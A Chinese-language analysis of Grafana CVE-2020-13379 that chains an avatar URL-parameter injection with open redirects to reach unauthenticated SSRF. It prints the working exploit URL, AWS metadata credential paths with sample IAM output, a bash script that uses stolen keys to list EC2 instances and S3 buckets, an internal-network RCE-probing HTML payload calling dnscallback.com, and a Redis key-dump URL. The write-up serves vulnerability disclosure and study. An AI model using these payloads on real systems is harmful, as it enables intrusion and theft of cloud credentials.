Grafana CVE-2020-13379漏洞分析：重定向和URL参数注入漏洞的综合利用可以在任何Grafana产品实例中实现未经授权的服务器端请求伪造攻击SSRF

  研究发现，在Grafana产品实例中，综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击（SSRF）。该漏洞影响Grafana 3.0.1至7.0.1版本。在报告了相关信息后，为该产品分配了漏洞编号CVE-2020-13379。

漏洞发现过程

  在Grafana的名为api.go的开源文件中，第423行有以下代码行：

  r.Get（“ / avatar /：hash”，avatarCacheServer.Handler）

  为了加载由用户上传并保存在gravatar上的头像图像，此行代码读取/avatar/：hash中的哈希值（例如，https://www.gravatar.com/avatar/205e460b479e2e5b48aec07710c08d50/.....），并将其传递到域名为secure.grafana.com的相关路径。在这里，一般的代码逻辑如下：

const (
 gravatarSource = "https://secure.gravatar.com/avatar/"
)
...
case err = <-thunder.GoFetch(gravatarSource+this.hash+"?"+this.reqParams, this):

  上面的代码逻辑中的this.hash是从上述/avatar/：hash通过URL编码传递的哈希。实际上，此URL编码的：hash字符串使我们可以插入其他参数以形成URL参数注入。在secure.gravatar.com域名路径下，如果将参数d插入到其中，即https：//secure.gravatar.com/avatar/205e460b479e2e5b48aec07710c08d50？d = ....，则跳至另一张图片对于存储服务i0.wp.com的情况，这是后续跳转利用链中的第一个跳转问题。

  因此，我们仍然需要继续从i0.wp.com构建一个跳转。幸运的是，由于主机验证机制中的正则表达式应用不正确，我们成功地形成了一个跳跃。过程是这样的：

  i0.wp.com中的URL链接结构为i0.wp.com/{domainOfImage}/{pathOfImage}。该URL链接的目的是i0.wp.com基于.bp.blogspot.com域名存储自己的域名部分图片。因此，i0.wp.com将继续形成到* .bp.blogspot.com的跳转。经过数小时的测试发现使用以下链接可以在跳转中形成一个开放的重定向跳转：

  http://i0.wp.com/google.com?;/1.bp.blogspot.com/

  最后，结合这两个跳转，可以在Grafana背景中形成以下跳转链接：

  https://grafanaHost/avatar/test?d=google.com%3f;/bp.blogspot.com

  在上面的链接中，Grafana后端将获得test？d = google.com？; / bp.blogspot.com作为哈希值。

  回到前面的d参数场景，将d参数添加到以下链接：

  https://secure.gravatar.com/avatar/anything?d=google.com?;/1.bp.blogspot.com/

  该请求将跳至i0.wp.com，成为：

  http://i0.wp.com/google.com?%;/1.bp.blogspot.com/

  然后，i0.wp.com将继续重定向到google.com跳转，成为：

  https://google.com?;/1.bp.blogspot.com

  可以在用户头像的源文件中看到，其中包含内容类型属性信息Content-Type：image / jpeg，以及在请求之后的相关响应机制：

...
if avatar.Expired() {
 // The cache item is either expired or newly created, update it from the server
 if err := avatar.Update(); err != nil {
  log.Trace("avatar update error: %v", err)
  avatar = this.notFound
 }
}

if avatar.notFound {
 avatar = this.notFound
} else if !exists {
 if err := this.cache.Add(hash, avatar, gocache.DefaultExpiration); err != nil {
  log.Trace("Error adding avatar to cache: %s", err)
 }
}

ctx.Resp.Header().Add("Content-Type", "image/jpeg")

if !setting.EnableGzip {
 ctx.Resp.Header().Add("Content-Length", strconv.Itoa(len(avatar.data.Bytes())))
}

ctx.Resp.Header().Add("Cache-Control", "private, max-age=3600")

if err := avatar.Encode(ctx.Resp); err != nil {
 log.Warn("avatar encode error: %v", err)
 ctx.WriteHeader(500)
}

  因此，总结上述各种技术利用点，可以构建以下成功的SSRF操作链接，以允许Grafana后端服务器发起对YOURHOSTHERE的请求。

  https：// grafanaHost / avatar / test？d = redirect.rhynorater.com？; /bp.blogspot.com/YOURHOSTHERE

  该漏洞不仅影响Grafana的产品实例，还影响其在Gitlab（/-/grafana）和SourceTree（/-/debug/grafana/）上的源代码实例。

漏洞利用

  漏洞1-操纵和访问Grafana项目云实例元数据API（Manipulate AWS / Cloud Metadata API）

  对现代SSRF漏洞的一种流行利用是使用它来执行对目标系统云上元数据API接口的访问，以获得相关的敏感信息。大多数元数据API接口都是AWS的云形式。我们可以尝试在Grafana项目的EC2实例中获取用户身份验证授权证书（IAM），然后水平渗透组织内部网。到目前为止，攻击者已经使用SSRF的这种方法来渗透入侵，从而导致一些大规模的数据泄露。

  作为攻击者，他的主要担心是尝试使用以下访问链接从公共AWS元数据服务器（169.254.169.254）获取用户的IAM凭证：

  http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE（示例项目名称）

  成功获取用户IAM证书的内容如下：

{
  "Code" : "Success",
  "LastUpdated" : "2019-08-15T18:13:44Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIAN0P3n0W4y1nv4L1d",
  "SecretAccessKey" : "A5tGuw2QXjmqu8cTEu1zs0Dw8yt905HDCzrF0AdE",
  "Token" : "AgoJb3JpZ2luX2VjEJv//////////wEaCXVzLWVhc3QtMSJHMEUCIEX46oh4kz6AtBiTfvoHGqfVuHJI29ryAZy/wXyR51SAiEA04Pyw9HSwSIRNx6vmYpqm7sD+DkLQiFzajuwI2aLEp4q8gMIMxABGgwzNjY4OTY1NTU5NDkiDOBEJDdUKxKUkgkhGyrPA7u8oSds5hcIM0EeoHvgxvCX/ChiDsuCEFO1ctMpOgaQuunsvKLzuaTp/86V96iZzuoPLnpHHsmIUTrCcwwGqFzyaqvJpsFWdv89YIhARAMlcQ1Cc9Cs4pTBSYc/BvbEFb1z0xWqPlBNVKLMzm2K5409f/KCK/eJsxp530Zt7a1MEBp/rvceyiA5gg+6hOu65Um+4BNT+CjlEk3gwL6JUUWr9a2LKYxmyR4fc7XtLD2zB0jwdnG+EPv7aDPj7EoWMUoR/dOQav/oSHi7bl6+kT+koKzwhU/Q286qsk0kXMfG/U95TdUr70I3b/L/dhyaudpLENSU7uvPFi8qGVGpnCuZCvGL2JVSnzf8327jyuiTF7GvXlvUTh8bjxnZ8pAhqyyuxEW1tosL2NuqRHmlCCfnE3wLXJ0yBUr7uxMHTfL1gueEWghymIGhAxiYIKA9PPiHCDrn4gl5AGmLyzqxenZgcNnuwMjeTnhQ0mVf7L8PR4ZWRo9h3C1wMbYnYNi5rdfQcByMIN/XoR2J74sBPor/aObMMHVnmpNjbtRgKh0Vpi48VgXhXfuCAHka3rbYeOBYC8z8nUWYJKuxv3Nj0cQxXDnYT6LPPXmtHgZaBSUwxMHW6gU6tAHi8OEjskLZG81wLq1DiLbdPJilNrv5RPn3bBF+QkkB+URAQ8NBZA/z8mNnDfvESS44fMGFsfTIvIdANcihZQLo6VYvECV8Vw/QaLP/GbljKPwztRC5HSPe6WrC06LZS9yeTpVGZ6jFIn1O/01hJOgEwsK7+DDwcXtE5qtOynmOJiY/iUjcz79LWh184My58ueCNxJuzIM9Tbn0sH3l1eBxECTihDNbL13v5g+8ENaih+f3rNU=",
  "Expiration" : "2019-08-16T00:33:31Z"
}

  借助此IAM凭据，我们可以通过用户身份验证，并以内部用户身份对EC2实例和S3存储桶执行任意访问。如果要使用IAM执行深入的用户验证测试，建议使用NCCGroup安全团队的Scout2工具。但是，由于它会生成大量请求响应并触发一系列密钥轮换数据，因此有点嘈杂。在这里仍然使用以下标准输入脚本来使用上述IAM凭据：

#!/bin/bash

out=$(cat -)
export AWS_ACCESS_KEY_ID=$(echo $out | jq .AccessKeyId | sed 's/"//g' )
export AWS_SECRET_ACCESS_KEY=$(echo $out | jq .SecretAccessKey | sed 's/"//g')
export AWS_DEFAULT_REGION=us-east-1
export AWS_SESSION_TOKEN=$(echo $out | jq .Token | sed 's/"//g')
echo "Profile loaded!"
aws sts get-caller-identity
aws ec2 describe-instances > ec2Instances.txt
echo "EC2 Instances outputted to \"ec2Instances.txt\"!"
aws s3api list-buckets > s3Buckets.txt
echo "S3 Buckets outputted to \"s3Buckets.txt\"!"

  通过AWS公共元数据服务器访问链接http://169.254.169.254/latest/user-data，我们可以获取许多与目标实例相关的敏感信息，尽管AWS文档反复声称不在实例位置存储凭证信息。但是，根据经验仍然发现许多关键数据，例如K8S Secrets，IAM凭证，SSL凭证和GitHub凭证。

  此外，我们还可以从另一个AWS路径获取有用的信息：

  http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

 漏洞利用2-图片渲染过程导致的Blind SSRF

  Grafana实例内部发生了大量的图像渲染过程，因此攻击者可以使用Headless Chrome实例（Chrome在非Chrome环境中运行）来构造包含超时变量的HTML页面，并将其用作实现长期的堡垒内网RCE攻击尝试。

  同样，我们可以使用CVE-2020-13379的SSRF漏洞执行Intranet端口扫描检测。例如，在一般的Grafana实例中将有一个3001端口，此SSRF方法可以成功检测到该端口：

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 22
ETag: W/"16-NipK4Bud1bhsozqKdmj9bWnwGTg"
Date: Wed, 29 Jul 2020 11:21:31 GMT
Connection: keep-alive

Grafana Image Renderer

  基于此，攻击者可以通过以下链接精心构建Grafana实例系统以执行危险操作：

  localhost:3001/render?url=http://yourhost&domain=a&renderKey=a&timeout=30

  编写以下HTML文件进行一个自动化快速的漏洞利用，用它可以进行RCE提权攻击。

<script>
async function postData(url = '', data = {}) {
  const response = await fetch(url, {
    method: 'POST',
    mode: 'no-cors',
    headers: {
      'Content-Type': 'application/json'
    },
    body: JSON.stringify(data)
  });
  return response.json();
}
for (var i = 0; i < 255; i++){
    postData('http://10.0.0.'+i+'/oneshotrce', { cmd: 'dig dnscallback.com' })
}               
</script>

漏洞3-操控Gitlab的 Prometheus Redis导出器

  Prometheus是一个开源服务监视系统和时间序列数据库。如前所述，该漏洞还将影响版本低于13.1.1的Grafana Gitlab实例。根据Gitlab文档，Grafana Gitlab实例从9.0版开始，默认情况下都启用了Prometheus和Exporter。这些导出器可能是攻击者利用CVE-2020-13379的突破点。导出器之一是Redis Exporter，其路径http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*，由攻击者使用target参数构造，通过该路径可以下载redis服务器中的所有关键信息。

漏洞4-Image-Only SSRF -> Full-Read SSRF

  在Grafana开源文件avatar.go的第104行中，SSRF响应的内容类型（Content Type）为image / jpeg，这使我们有独特的机会利用基于SSRF漏洞的其他漏洞。假设我们有以下情形：

  example.com/fetchImage.php?image=http://localhost/image.png

  fetchImage.php中的代码将HTTP请求发送到请求目标，然后检查其内容类型（Content Type）是否为image / jpeg，如果是，则返回请求的内容。因此，如果内部Grafana实例具有我们的CVE-2020-13379漏洞，则攻击者可以构造以下链接以形成内容读取SSRF漏洞攻击：

  example.com/fetchImage.php?image=http://internalgrafana/avatar/.../169.254.169.254

  由于返回的内容需要为image/jpeg，因此它将执行content-type验证。此外，由于这是由基于图像的SSRF触发的读取SSRF，并且攻击者可以控制链接重定向，因此攻击者还可以将其用于文件扩展名检查欺骗。